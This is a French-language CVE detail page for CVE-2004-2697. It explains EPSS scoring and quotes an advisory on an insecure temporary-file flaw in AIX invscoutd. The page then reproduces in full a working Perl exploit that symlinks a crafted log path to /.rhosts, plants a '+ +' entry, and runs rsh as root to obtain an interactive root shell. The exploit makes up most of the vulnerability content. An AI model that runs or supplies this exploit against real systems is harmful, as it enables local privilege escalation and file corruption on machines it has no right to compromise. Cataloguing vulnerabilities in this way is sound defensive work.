CVE-2004-2697 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/9982/info Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges. This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed. #!/usr/bin/perl # FileName: x_invscoutd.pl # Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell. # Tested : on Aix4.3.3 & Aix5.1. # Some high version of invscoutd is not affected. # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-5-29 # Announce: use as your owner risk! $LOG="/tmp/.ex/.hello\n+ +\nworld"; $CMD="/usr/sbin/invscoutd"; umask 022; mkdir "/tmp/.ex",0777; print "Exploit error on kill process invscoutd !!" ,exit 1 if &killproc() == 0; symlink "/.rhosts",$LOG; system $CMD,"-p7321",$LOG; &killproc(); unlink $LOG; print "\n============\nRemember to remove /.rhosts !!\n"; print "rsh localhost -l root '/bin/sh -i'\n"; print "waiting . . . . . .\n"; system "rsh","localhost","-l","root","/bin/sh -i"; system $CMD,"-p808","/dev/null" ; &killproc(); rmdir "/tmp/.ex"; sub killproc() { $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`; @proc_lst=split; $ret=kill 9,$proc_lst[1] if $proc_lst[1]; $ret=-1 if ! defined $ret; return $ret; } #EOF
